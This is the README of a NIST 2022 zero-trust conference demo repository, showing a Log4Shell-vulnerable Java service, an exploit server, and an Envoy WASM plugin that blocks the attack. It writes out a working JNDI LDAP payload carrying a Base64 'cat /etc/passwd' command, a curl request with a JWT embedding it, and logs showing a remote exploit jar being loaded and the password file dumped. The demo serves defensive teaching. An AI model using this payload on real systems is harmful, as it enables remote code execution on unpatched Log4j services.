/nist-demo-2022

Demo delivered at the 2022 ZTA and DevSecOps for Cloud Native Applications NIST conference

Primary LanguageGo

ZTA and DevSecOps for Cloud Native Applications

This repository contains the materials for the Service Mesh as the Security Kernel for Zero Trust Platforms demo presented at the NIST ZTA conference 2022.

Contents

This demo contains three main applications:

See the hacking section for details about how to customize them.

Build requirements

  • Go 1.17 or higher.
  • TinyGo to compile and build the WASM plugin.
  • Docker to create the Docker containers.

Hacking

The behavior of the applications can be customized by modifying the GreetingsServlet.java (vulnerable application) and the Log4shellExploit.java (exploit).

The current implementation of the exploit reads malicious LDAP lookup strings and parses a Base64-encoded command that is then executed. For example, the malicious string "${jndi:ldap://log4shell:1389/exec/Y2F0IC9ldGMvcGFzc3dkCg==}" will instruct the exploit to execute a cat /etc/passwd command. The vulnerable application logs the value of the name claim in a JWT token, so if the malicious payload is set there, the exploit will be triggered.

Running applications locally

The three applications can be easily run locally, although you won't be able to try all the Istio features showcased in the demo. However, it is enough to get the applications running and to be able to play with them and the WASM plugin.

You can start the applications locally with:

make -C wasm-patch clean compile  # docker-compose needs the WASM binary to have been compiled
docker-compose build
docker-compose up

This will build the necessary images and start all of them. The vulnerable application is exposed as follows:

  • http://localhost:8080 - Direct access to the vulnerable application.
  • http://localhost:8000 - Access through Envoy, which includes filtering with the WASM plugin.

To test it, you can send a request to the application or Envoy proxy with a JWT Bearer token in the Authorization header. The contents of the "sub" claim in the provided token will trigger the attack vector, if present. For example:

Executing the requests directly against the vulnerable app

$ curl http://localhost:8080
Welcome, anonymous!
Accessing: /

$ curl http://localhost:8080 -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDMyMTY1NTEsImlhdCI6MTY0MzIxMjk1MSwiaXNzIjoidGV0cmF0ZS5pbyIsIm5hbWUiOiIke2puZGk6bGRhcDovL2xvZzRzaGVsbDoxMzg5L2V4ZWMvWTJGMElDOWxkR012Y0dGemMzZGtDZz09fSIsInN1YiI6ImFkbWluIn0.KTpoau4cr75ifcvESisRnwJP6_8fxzLrY2MsvgPBITI"
Welcome, ${jndi:ldap://log4shell:1389/exec/Y2F0IC9ldGMvcGFzc3dkCg==}!
Accessing: /

We can see that the exploit was triggered by inspecting the vulnerable app logs:

log4shell_1   | received request from 192.168.160.3:37650
log4shell_1   | delivering malicious LDAP payload: {cn=pwned, exec/Y2F0IC9ldGMvcGFzc3dkCg== [{cn [pwned]} {javaClassName [io.tetrate.log4shell.exploit.Log4shellExploit]} {javaCodeBase [http://log4shell:3000/log4shell-exploit-1.0-SNAPSHOT.jar]} {objectclass [javaNamingReference]} {javaFactory [io.tetrate.log4shell.exploit.Log4shellExploit]}]}
vulnerable_1  | /!\ /!\ /!\ You have been pwned!
vulnerable_1  | /!\ /!\ /!\ RCE exploit loaded
vulnerable_1  | /!\ /!\ /!\ Executing: cat /etc/passwd
vulnerable_1  |
vulnerable_1  | root:x:0:0:root:/root:/bin/bash
vulnerable_1  | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
vulnerable_1  | bin:x:2:2:bin:/bin:/usr/sbin/nologin
vulnerable_1  | sys:x:3:3:sys:/dev:/usr/sbin/nologin
vulnerable_1  | sync:x:4:65534:sync:/bin:/bin/sync
vulnerable_1  | games:x:5:60:games:/usr/games:/usr/sbin/nologin
vulnerable_1  | man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
vulnerable_1  | lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
vulnerable_1  | mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
vulnerable_1  | news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
vulnerable_1  | uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
vulnerable_1  | proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
vulnerable_1  | www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
vulnerable_1  | backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
vulnerable_1  | list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
vulnerable_1  | irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
vulnerable_1  | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
vulnerable_1  | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
vulnerable_1  | systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
vulnerable_1  | systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
vulnerable_1  | systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
vulnerable_1  | systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
vulnerable_1  | messagebus:x:104:108::/var/run/dbus:/bin/false
vulnerable_1  |
vulnerable_1  | 13:40:09.410 [qtp1316061703-12] INFO  io.tetrate.log4shell.vulnerable.GreetingsServlet - welcoming user: pwned!

Executing the requests against the Envoy proxy

When running the requests through the proxy we can see the access being denied as the traffic is filtered by the WASM plugin.

$ curl http://localhost:8000
Welcome, anonymous!
Accessing: /

$ curl http://localhost:8000 -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDMyMTY1NTEsImlhdCI6MTY0MzIxMjk1MSwiaXNzIjoidGV0cmF0ZS5pbyIsIm5hbWUiOiIke2puZGk6bGRhcDovL2xvZzRzaGVsbDoxMzg5L2V4ZWMvWTJGMElDOWxkR012Y0dGemMzZGtDZz09fSIsInN1YiI6ImFkbWluIn0.KTpoau4cr75ifcvESisRnwJP6_8fxzLrY2MsvgPBITI"
Access Denied

ZTA demo step by step

If you want to play with the demo, you can follow the step by step guide in the DEMO.md file.